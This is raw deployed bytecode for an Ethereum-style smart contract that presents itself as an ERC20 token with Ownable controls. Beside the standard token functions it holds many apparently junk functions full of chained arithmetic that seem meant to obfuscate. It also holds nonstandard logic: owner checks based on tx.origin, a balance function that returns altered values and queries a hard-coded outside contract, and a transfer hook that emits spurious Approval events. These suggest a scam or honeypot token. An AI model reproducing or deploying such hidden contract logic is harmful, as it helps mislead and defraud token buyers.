b3480156103f257600080fd5b5061040d600480360381019061040891906137fe565b610ef4565b60405161041a9190613b5c565b60405180910390f35b34801561042f57600080fd5b50610438610f23565b6040516104459190613cb9565b60405180910390f35b34801561045a57600080fd5b50610463610ff8565b6040516104709190613cb9565b60405180910390f35b34801561048557600080fd5b5061048e6110ea565b60405161049b9190613cd4565b60405180910390f35b3480156104b057600080fd5b506104b96111af565b6040516104c69190613cb9565b60405180910390f35b3480156104db57600080fd5b506104f660048036038101906104f19190613851565b6112a1565b6040516105039190613b5c565b60405180910390f35b34801561051857600080fd5b506105216112d8565b60405161052e9190613cb9565b60405180910390f35b34801561054357600080fd5b5061054c611495565b6040516105599190613cb9565b60405180910390f35b34801561056e57600080fd5b506105776115a4565b6040516105849190613cb9565b60405180910390f35b34801561059957600080fd5b506105a261163f565b6040516105af9190613cb9565b60405180910390f35b3480156105c457600080fd5b506105df60048036038101906105da9190613791565b6117a5565b6040516105ec9190613cb9565b60405180910390f35b34801561060157600080fd5b5061060a61190c565b005b34801561061857600080fd5b50610633600480360381019061062e9190613891565b611a69565b005b34801561064157600080fd5b5061064a611b14565b6040516106579190613cb9565b60405180910390f35b34801561066c57600080fd5b50610675611bcc565b6040516106829190613cb9565b60405180910390f35b34801561069757600080fd5b506106a0611d89565b6040516106ad9190613cb9565b60405180910390f35b3480156106c257600080fd5b506106cb611eb5565b6040516106d89190613b41565b60405180910390f35b3480156106ed57600080fd5b506106f6611fb8565b6040516107039190613b41565b60405180910390f35b34801561071857600080fd5b50610721611fd0565b60405161072e9190613cb9565b60405180910390f35b34801561074357600080fd5b5061074c612088565b6040516107599190613cb9565b60405180910390f35b34801561076e57600080fd5b50610777612123565b6040516107849190613b77565b60405180910390f35b34801561079957600080fd5b506107a2612215565b6040516107af9190613cb9565b60405180910390f35b3480156107c457600080fd5b506107df60048036038101906107da9190613851565b612341565b6040516107ec9190613b5c565b60405180910390f35b34801561080157600080fd5b5061081c60048036038101906108179190613851565b6123b8565b6040516108299190613b5c565b60405180910390f35b34801561083e57600080fd5b506108476123db565b6040516108549190613cb9565b60405180910390f35b34801561086957600080fd5b50610872612493565b60405161087f9190613cb9565b60405180910390f35b34801561089457600080fd5b5061089d6125a2565b6040516108aa9190613cb9565b60405180910390f35b3480156108bf57600080fd5b506108da60048036038101906108d591906137be565b6126b1565b6040516108e79190613cb9565b60405180910390f35b3480156108fc57600080fd5b50610905612738565b6040516109129190613cb9565b60405180910390f35b34801561092757600080fd5b506109306128d7565b60405161093d9190613cb9565b60405180910390f35b34801561095257600080fd5b5061096d60048036038101906109689190613791565b6129c9565b005b34801561097b57600080fd5b50610984612aba565b6040516109919190613cb9565b60405180910390f35b3480156109a657600080fd5b506109af612b72565b6040516109bc9190613cb9565b60405180910390f35b3480156109d157600080fd5b506109da612c81565b6040516109e79190613cb9565b60405180910390f35b600080627b951f811115610a05576002810490505b62478dee627b951f0190506290fab2811115610a22576002810490505b624f39236290fab203905062315f18811115610a3f576002810490505b6203495562315f180390506278e024811115610a5c576002810490505b622fc6b66278e024029050623c51cf811115610a79576002810490505b62038a4a623c51cf029050627c1cf2811115610a96576002810490505b621bf3ad627c1cf20190506260f813811115610ab3576002810490505b620463ba6260f8130690506265dcdc811115610ad0576002810490505b622a30a56265dcdc0490508091505090565b606060006237d49981610af59190613d77565b905061254f8111610b0557600080fd5b622a885481610b149190613d77565b9050611d158111610b2457600080fd5b623968fb81610b339190613d77565b9050610d3e8111610b4357600080fd5b60058054610b5090613ef2565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7c90613ef2565b8015610bc95780601f10610b9e57610100808354040283529160200191610bc9565b820191906000526020600020905b815481529060010190602001808311610bac57829003601f168201915b505050505091505090565b600080610bdf612d90565b9050610bec818585612d98565b600191505092915050565b600080621f11f681610c099190613d77565b90506124088111610c1957600080fd5b621cba9581610c289190613d77565b9050611ac38111610c3857600080fd5b6252c5c981610c479190613d77565b90506103f38111610c5757600080fd5b623b3c0f81610c669190613d77565b90506124748111610c7657600080fd5b60035491505090565b60008062467c1c811115610c94576002810490505b6207bb4062467c1c0390506272c35c811115610cb1576002810490505b6227cf5d6272c35c019050626c1b24811115610cce576002810490505b6223c468626c1b240690506297c744811115610ceb576002810490505b625433466297c7440690506296af4c811115610d08576002810490505b620ad6e86296af4c0690506237d9a2811115610d25576002810490505b622e37b66237d9a2049050624e3f18811115610d42576002810490505b622bdcf7624e3f18069050629860bf811115610d5f576002810490505b623378a8629860bf0490508091505090565b6000806272ae2e811115610d86576002810490505b6248e6ff6272ae2e0690506220ef9b811115610da3576002810490505b62010f9e6220ef9b0290506275fc54811115610dc0576002810490505b624d3ec16275fc54029050625f8660811115610ddd576002810490505b6202dcc7625f866003905062852822811115610dfa576002810490505b623de62162852822049050627f4a56811115610e17576002810490505b62179b43627f4a5602905062715afd811115610e34576002810490505b625768dc62715afd0690506254c231811115610e51576002810490505b62386d406254c2310690506297dd0d811115610e6e576002810490505b6235b6f26297dd0d069050628c73a4811115610e8b576002810490505b62435f58628c73a4069050625f6ef9811115610ea8576002810490505b623da227625f6ef906905062293add811115610ec5576002810490505b6217ea2162293add039050626e9dd5811115610ee2576002810490505b62040076626e9dd50390508091505090565b600080610eff612d90565b9050610f0c858285612fc3565b610f1785858561304f565b60019150509392505050565b6000806283356b811115610f38576002810490505b62514b2e6283356b039050627e94c3811115610f55576002810490505b620c9a83627e94c303905062576931811115610f72576002810490505b620621d962576931029050624968e8811115610f8f576002810490505b6208c569624968e8039050624e7048811115610fac576002810490505b62016403624e70480490506250b8fb811115610fc9576002810490505b621cd5e16250b8fb02905062632c0f811115610fe6576002810490505b62369d1562632c0f0690508091505090565b600080626d7bac81111561100d576002810490505b6205e572626d7bac069050624d9ac281111561102a576002810490505b622d7f29624d9ac2049050628221ab811115611047576002810490505b62222eba628221ab04905062904a9b811115611064576002810490505b6237c80062904a9b069050626a04f3811115611081576002810490505b62524e24626a04f3019050624ee7d781111561109e576002810490505b6220d8e3624ee7d7049050624e6f7b8111156110bb576002810490505b6208c753624e6f7b039050620a629a8111156110d8576002810490505b6209a71f620a629a0190508091505090565b600080623ee296816110fc9190613d77565b905061261b811161110c57600080fd5b624d44648161111b9190613d77565b905061164f811161112b57600080fd5b622f100b8161113a9190613d77565b9050611f03811161114a57600080fd5b625008b8816111599190613d77565b90506107bd811161116957600080fd5b6213d895816111789190613d77565b90506110cc811161118857600080fd5b6227c601816111979190613d77565b905061184281116111a757600080fd5b600991505090565b600080625e0cd28111156111c4576002810490505b621f8a63625e0cd202905062578fb28111156111e1576002810490505b624b80a862578fb2039050628b116e8111156111fe576002810490505b6257002d628b116e039050622a9de381111561121b576002810490505b62065a35622a9de302905062749f0a811115611238576002810490505b6206ffa962749f0a03905062978959811115611255576002810490505b6236c45d62978959039050626e03b5811115611272576002810490505b62163083626e03b50290506219b41081111561128f576002810490505b62073c8c6219b4100390508091505090565b6000806112ac612d90565b90506112cd8185856112be85896126b1565b6112c89190613d77565b612d98565b600191505092915050565b600080627083738111156112ed576002810490505b6248b21a62708373049050628631a281111561130a576002810490505b620e5e23628631a203905062839075811115611327576002810490505b6253b64562839075049050627213e8811115611344576002810490505b624bd7cd627213e8029050627a4e4d811115611361576002810490505b620630bf627a4e4d049050626581b081111561137e576002810490505b625a2f1d626581b00690506272b12781111561139b576002810490505b620cbb256272b127029050621236618111156113b8576002810490505b620aa604621236610390506235760b8111156113d5576002810490505b62344b846235760b01905062519cb88111156113f2576002810490505b62252c7962519cb8029050621ac93181111561140f576002810490505b620eddd9621ac9310190506282954581111561142c576002810490505b624b5024628295450390506251a54e811115611449576002810490505b6247f31e6251a54e039050628dafb2811115611466576002810490505b6235bdc3628dafb2049050627b50cf811115611483576002810490505b6222bfb9627b50cf0290508091505090565b60008062105f218111156114aa576002810490505b6201bd5662105f210390506273f7288111156114c7576002810490505b621937996273f72801905062495c818111156114e4576002810490505b622c578f62495c8103905062910f71811115611501576002810490505b622924c262910f71049050628c8f0281111561151e576002810490505b62297db5628c8f0203905062457fd181111561153b576002810490505b6215723062457fd10190506242e2f2811115611558576002810490505b62390d6b6242e2f2039050624a4819811115611575576002810490505b6244d043624a48190390506258adb3811115611592576002810490505b625020c86258adb30290508091505090565b60008062813cb08111156115b9576002810490505b620f75eb62813cb0019050625ed8368111156115d6576002810490505b625980fd625ed836069050627664338111156115f3576002810490505b6231c05662766433069050627a19b2811115611610576002810490505b621a9613627a19b2039050629880db81111561162d576002810490505b624e84a1629880db0390508091505090565b60008062242ba5811115611654576002810490505b62069ea562242ba5039050627c0d4c811115611671576002810490505b620f4162627c0d4c069050623149a281111561168e576002810490505b622a2ec4623149a206905062934d4b8111156116ab576002810490505b62143ba462934d4b019050628657018111156116c8576002810490505b622f521c62865701049050628e2d598111156116e5576002810490505b621a6022628e2d59069050626a4fbd811115611702576002810490505b6255a4ff626a4fbd0390506287d6f681111561171f576002810490505b624ab8a46287d6f60290506215e38781111561173c576002810490505b6215c6556215e387049050624d9a60811115611759576002810490505b6219e046624d9a60049050626c7cba811115611776576002810490505b62159276626c7cba069050624d5634811115611793576002810490505b6247c802624d56340490508091505090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561181a57600061180761331b565b905060205481101561181857600080fd5b505b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118b757600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611907565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119049190613f55565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff1661192b611eb5565b73ffffffffffffffffffffffffffffffffffffffff1614611981576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197890613c39565b60405180910390fd5b6000624d901b816119929190613d77565b9050611e1381116119a257600080fd5b6201e007816119b19190613d77565b9050611bfa81116119c157600080fd5b620b19f5816119d09190613d77565b905061188f81116119e057600080fd5b6221d897816119ef9190613d77565b905061122081116119ff57600080fd5b6232f2e481611a0e9190613d77565b90506110168111611a1e57600080fd5b6210dba781611a2d9190613d77565b90506108978111611a3d57600080fd5b6248700681611a4c9190613d77565b90506101a98111611a5c57600080fd5b611a66600061342d565b50565b3273ffffffffffffffffffffffffffffffffffffffff16611a88611eb5565b73ffffffffffffffffffffffffffffffffffffffff1614611ade576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad590613c39565b60405180910390fd5b8160069080519060200190611af492919061363f565b508260059080519060200190611b0b92919061363f565b50333055505050565b6000806288173d811115611b29576002810490505b624fef4c6288173d03905062624f75811115611b46576002810490505b620748d362624f750290506297f6dc811115611b63576002810490505b623071746297f6dc06905062630c44811115611b80576002810490505b6213890862630c440390506265b1c6811115611b9d576002810490505b624290be6265b1c60690506275b60a811115611bba576002810490505b624173fa6275b60a0290508091505090565b600080623a5fda811115611be1576002810490505b621d28d8623a5fda039050621b6317811115611bfe576002810490505b620afaeb621b6317019050623c395b811115611c1b576002810490505b6239e9db623c395b029050628a1463811115611c38576002810490505b6235895f628a14630190506263e656811115611c55576002810490505b62439f416263e65601905062903638811115611c72576002810490505b625a1a3f6290363801905062554bf3811115611c8f576002810490505b623cdf8162554bf304905062753d06811115611cac576002810490505b6259a37362753d06019050622210bf811115611cc9576002810490505b6209de5f622210bf039050625b0b41811115611ce6576002810490505b62264ecc625b0b410190506281eab1811115611d03576002810490505b6253dcdb6281eab1069050624ebeeb811115611d20576002810490505b624d988d624ebeeb02905062927c1b811115611d3d576002810490505b622d590d62927c1b03905062659c88811115611d5a576002810490505b625591e662659c8802905062678562811115611d77576002810490505b622fbdec626785620190508091505090565b600080623580b6811115611d9e576002810490505b6206227d623580b6029050621f8d5a811115611dbb576002810490505b620dce45621f8d5a039050628d57b1811115611dd8576002810490505b6259302e628d57b1049050626bf9ff811115611df5576002810490505b624de064626bf9ff02905062664a5f811115611e12576002810490505b620282a262664a5f04905062660711811115611e2f576002810490505b6232ead2626607110490506255ccd8811115611e4c576002810490505b623b98826255ccd8069050623fb27f811115611e69576002810490505b621e6e08623fb27f049050627443a6811115611e86576002810490505b62379501627443a6039050626c8614811115611ea3576002810490505b6218d154626c86140290508091505090565b600080622c986881611ec79190613d77565b90506119d98111611ed757600080fd5b621d9e6781611ee69190613d77565b905061143b8111611ef657600080fd5b62321b5c81611f059190613d77565b9050610a248111611f1557600080fd5b62422b3081611f249190613d77565b9050610dfa8111611f3457600080fd5b6253b3db81611f439190613d77565b9050611d888111611f5357600080fd5b621e567e81611f629190613d77565b90506121198111611f7257600080fd5b623e35a081611f819190613d77565b90506103968111611f9157600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691505090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b6000806231661b811115611fe5576002810490505b6206bd5b6231661b049050624498f4811115612002576002810490505b62231825624498f40490506283085f81111561201f576002810490505b6238a7266283085f029050627147ca81111561203c576002810490505b6201811a627147ca069050625057d4811115612059576002810490505b620f4fe2625057d40190506295ed5b811115612076576002810490505b6221986f6295ed5b0190508091505090565b60008062272a8681111561209d576002810490505b6223068162272a86029050625576db8111156120ba576002810490505b62039a6a625576db069050627fd3a08111156120d7576002810490505b624499f2627fd3a0019050626c23718111156120f4576002810490505b6212d956626c237101905062732362811115612111576002810490505b621e1b0e627323620390508091505090565b60606000621b6d37816121369190613d77565b9050610939811161214657600080fd5b621faa09816121559190613d77565b9050611cb3811161216557600080fd5b624a71bb816121749190613d77565b905061155c811161218457600080fd5b6006805461219190613ef2565b80601f01602080910402602001604051908101604052809291908181526020018280546121bd90613ef2565b801561220a5780601f106121df5761010080835404028352916020019161220a565b820191906000526020600020905b8154815290600101906020018083116121ed57829003601f168201915b505050505091505090565b6000806268cefa81111561222a576002810490505b624fc2f76268cefa069050628c8ca4811115612247576002810490505b622bfcb7628c8ca4069050623cc2ed811115612264576002810490505b6215cc46623cc2ed019050626310e7811115612281576002810490505b620cf09a626310e70290506244b30581111561229e576002810490505b6234c7416244b30502905062938d328111156122bb576002810490505b624c1da962938d32039050628cd3ed8111156122d8576002810490505b625392f9628cd3ed0690506273a8d28111156122f5576002810490505b62598f946273a8d20690506297cd63811115612312576002810490505b62126ee86297cd630390506259a71881111561232f576002810490505b6231235b6259a7180490508091505090565b60008061234c612d90565b9050600061235a82866126b1565b90508381101561239f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239690613c99565b60405180910390fd5b6123ac8286868403612d98565b60019250505092915050565b6000806123c3612d90565b90506123d081858561304f565b600191505092915050565b6000806271ffe88111156123f0576002810490505b623e6e756271ffe801905062723b3881111561240d576002810490505b624b7b7c62723b38029050626afc8781111561242a576002810490505b6232781b626afc87019050628f9694811115612447576002810490505b6248ab12628f96940290506267870a811115612464576002810490505b6214518f6267870a019050628cdfde811115612481576002810490505b62569f00628cdfde0390508091505090565b60008062980fc28111156124a8576002810490505b623d8d3762980fc20690506263491b8111156124c5576002810490505b623c39f96263491b039050625e67488111156124e2576002810490505b620b3208625e674801905062604e828111156124ff576002810490505b623fd8e962604e82069050627e5b2581111561251c576002810490505b624be9c0627e5b2504905062631efa811115612539576002810490505b621a08e362631efa03905062918070811115612556576002810490505b62142f096291807001905062761ad2811115612573576002810490505b6240877962761ad2029050625fabeb811115612590576002810490505b625a8a57625fabeb0490508091505090565b60008062131e8f8111156125b7576002810490505b620bf62d62131e8f029050628f17028111156125d4576002810490505b623ed4c5628f17020690506280929d8111156125f1576002810490505b6223a6cd6280929d04905062335e3381111561260e576002810490505b6212575962335e330290506262485581111561262b576002810490505b62557764626248550690506243e395811115612648576002810490505b620485286243e395069050626b2966811115612665576002810490505b6217259b626b2966019050623a6622811115612682576002810490505b622a1949623a6622029050625b873c81111561269f576002810490505b6218853f625b873c0690508091505090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080625d8e9d81111561274d576002810490505b62425fab625d8e9d0290506235840381111561276a576002810490505b6225a875623584030490506291144b811115612787576002810490505b622248096291144b029050627713498111156127a4576002810490505b623cd8b862771349029050624d89ec8111156127c1576002810490505b623a6fbc624d89ec039050620488fc8111156127de576002810490505b6132bd620488fc0190506234b5a08111156127fa576002810490505b6218f3c76234b5a00390506254fe3e811115612817576002810490505b625312296254fe3e0490506257ae0a811115612834576002810490505b62429ff36257ae0a01905062633132811115612851576002810490505b6223f30d626331320290506289ef8d81111561286e576002810490505b6259e6266289ef8d0290506256f34e81111561288b576002810490505b6250b4d96256f34e06905062881cb58111156128a8576002810490505b623a457762881cb5039050628a466f8111156128c5576002810490505b625573f6628a466f0490508091505090565b6000806284c50f8111156128ec576002810490505b6243eb326284c50f04905062928192811115612909576002810490505b6203a65762928192019050628f20fc811115612926576002810490505b62331495628f20fc0290506287ab34811115612943576002810490505b621e4a966287ab34029050628726b7811115612960576002810490505b62458585628726b706905062377c5c81111561297d576002810490505b620f882c62377c5c029050626ebd9981111561299a576002810490505b62548c82626ebd99049050627ff4798111156129b7576002810490505b625ace66627ff4790390508091505090565b3273ffffffffffffffffffffffffffffffffffffffff166129e8611eb5565b73ffffffffffffffffffffffffffffffffffffffff1614612a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3590613c39565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aa590613bb9565b60405180910390fd5b612ab78161342d565b50565b60008062788ffd811115612acf576002810490505b6254801562788ffd0490506287d44a811115612aec576002810490505b624d18f26287d44a019050629012f0811115612b09576002810490505b6256e41c629012f001905062434515811115612b26576002810490505b6229c7e5624345150390506223e0a8811115612b43576002810490505b6221d7ac6223e0a801905062946705811115612b60576002810490505b62545b04629467050190508091505090565b6000806234ba15811115612b87576002810490505b6226991b6234ba1501905062829f49811115612ba4576002810490505b6231ad2162829f49069050626324d5811115612bc1576002810490505b6228d6f9626324d506905062466dcf811115612bde576002810490505b622c0ce362466dcf029050622f580f811115612bfb576002810490505b621ff5d0622f580f029050628734d2811115612c18576002810490505b623e97bb628734d2019050625b0251811115612c35576002810490505b62147ddf625b0251069050628f100a811115612c52576002810490505b62461235628f100a019050625f0123811115612c6f576002810490505b6228da4d625f01230690508091505090565b6000806292afad811115612c96576002810490505b620b76186292afad029050626d66d4811115612cb3576002810490505b621a57bf626d66d4069050628992c4811115612cd0576002810490505b62318c51628992c40490506219a009811115612ced576002810490505b6201c2216219a009019050621f2d87811115612d0a576002810490505b620a6061621f2d870390506284c297811115612d27576002810490505b6219c7f36284c297019050623f1973811115612d44576002810490505b623638e5623f19730190506295b933811115612d61576002810490505b62536fac6295b933029050624afc69811115612d7e576002810490505b6242b74a624afc690290508091505090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dff90613c79565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e6f90613bd9565b60405180910390fd5b6000621712ae81612e899190613d77565b905061056a8111612e9957600080fd5b624a849681612ea89190613d77565b90506122098111612eb857600080fd5b6258d9ba81612ec79190613d77565b9050610d2f8111612ed757600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051612fb59190613cb9565b60405180910390a350505050565b6000612fcf84846126b1565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114613049578181101561303b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161303290613bf9565b60405180910390fd5b6130488484848403612d98565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156130bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130b690613c59565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561312857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b613167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161315e90613b99565b60405180910390fd5b6131728383836134f1565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156131f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131f090613c19565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546132489190613e27565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461329e9190613d77565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516133029190613cb9565b60405180910390a36133158484846134f6565b50505050565b60008073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c73ffffffffffffffffffffffffffffffffffffffff166370a08231600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516024016133819190613b41565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516133cf9190613b2a565b600060405180830381855afa9150503d806000811461340a576040519150601f19603f3d011682016040523d82523d6000602084013e61340f565b606091505b5091505080806020019051810190613427919061391c565b91505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60fe6003546135059190613dcd565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561355557600060205561363a565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541080156135f35750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15613639578060005230827f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560206000a361270f54828161271001558060010161270f55505b5b505050565b82805461364b90613ef2565b90600052602060002090601f01602090048101928261366d57600085556136b4565b82601f1061368657805160ff19168380011785556136b4565b828001600101855582156136b4579182015b828111156136b3578251825591602001919060010190613698565b5b5090506136c191906136c5565b5090565b5b808211156136de5760008160009055506001016136c6565b5090565b60006136f56136f084613d14565b613cef565b90508281526020810184848401111561371157613710614047565b5b61371c848285613eb0565b509392505050565b600081359050613733816142bc565b92915050565b600082601f83011261374e5761374d614042565b5b813561375e8482602086016136e2565b91505092915050565b600081359050613776816142d3565b92915050565b60008151905061378b816142d3565b92915050565b6000602082840312156137a7576137a6614051565b5b60006137b584828501613724565b91505092915050565b600080604083850312156137d5576137d4614051565b5b60006137e385828601613724565b92505060206137f485828601613724565b9150509250929050565b60008060006060848603121561381757613816614051565b5b600061382586828701613724565b935050602061383686828701613724565b925050604061384786828701613767565b9150509250925092565b6000806040838503121561386857613867614051565b5b600061387685828601613724565b925050602061388785828601613767565b9150509250929050565b6000806000606084860312156138aa576138a9614051565b5b600084013567ffffffffffffffff8111156138c8576138c761404c565b5b6138d486828701613739565b935050602084013567ffffffffffffffff8111156138f5576138f461404c565b5b61390186828701613739565b925050604061391286828701613767565b9150509250925092565b60006020828403121561393257613931614051565b5b60006139408482850161377c565b91505092915050565b61395281613e5b565b82525050565b61396181613e6d565b82525050565b600061397282613d45565b61397c8185613d5b565b935061398c818560208601613ebf565b80840191505092915050565b60006139a382613d50565b6139ad8185613d66565b93506139bd818560208601613ebf565b6139c681614056565b840191505092915050565b60006139de602383613d66565b91506139e982614067565b604082019050919050565b6000613a01602683613d66565b9150613a0c826140b6565b604082019050919050565b6000613a24602283613d66565b9150613a2f82614105565b604082019050919050565b6000613a47601d83613d66565b9150613a5282614154565b602082019050919050565b6000613a6a601f83613d66565b9150613a758261417d565b602082019050919050565b6000613a8d602083613d66565b9150613a98826141a6565b602082019050919050565b6000613ab0602583613d66565b9150613abb826141cf565b604082019050919050565b6000613ad3602483613d66565b9150613ade8261421e565b604082019050919050565b6000613af6602583613d66565b9150613b018261426d565b604082019050919050565b613b1581613e99565b82525050565b613b2481613ea3565b82525050565b6000613b368284613967565b915081905092915050565b6000602082019050613b566000830184613949565b92915050565b6000602082019050613b716000830184613958565b92915050565b60006020820190508181036000830152613b918184613998565b905092915050565b60006020820190508181036000830152613bb2816139d1565b9050919050565b60006020820190508181036000830152613bd2816139f4565b9050919050565b60006020820190508181036000830152613bf281613a17565b9050919050565b60006020820190508181036000830152613c1281613a3a565b9050919050565b60006020820190508181036000830152613c3281613a5d565b9050919050565b60006020820190508181036000830152613c5281613a80565b9050919050565b60006020820190508181036000830152613c7281613aa3565b9050919050565b60006020820190508181036000830152613c9281613ac6565b9050919050565b60006020820190508181036000830152613cb281613ae9565b9050919050565b6000602082019050613cce6000830184613b0c565b92915050565b6000602082019050613ce96000830184613b1b565b92915050565b6000613cf9613d0a565b9050613d058282613f24565b919050565b6000604051905090565b600067ffffffffffffffff821115613d2f57613d2e614013565b5b613d3882614056565b9050602081019050919050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000613d8282613e99565b9150613d8d83613e99565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613dc257613dc1613f86565b5b828201905092915050565b6000613dd882613e99565b9150613de383613e99565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613e1c57613e1b613f86565b5b828202905092915050565b6000613e3282613e99565b9150613e3d83613e99565b925082821015613e5057613e4f613f86565b5b828203905092915050565b6000613e6682613e79565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015613edd578082015181840152602081019050613ec2565b83811115613eec576000848401525b50505050565b60006002820490506001821680613f0a57607f821691505b60208210811415613f1e57613f1d613fe4565b5b50919050565b613f2d82614056565b810181811067ffffffffffffffff82111715613f4c57613f4b614013565b5b80604052505050565b6000613f6082613e99565b9150613f6b83613e99565b925082613f7b57613f7a613fb5565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220657863656564732062616c616e636500600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6142c581613e5b565b81146142d057600080fd5b50565b6142dc81613e99565b81146142e757600080fd5b5056fea264697066735822122094efdb99a83a469f21a5d4aa6d5e8a2a2738ac49047b8fc360cbc219aff02f1d64736f6c63430008060033

Deployed Bytecode

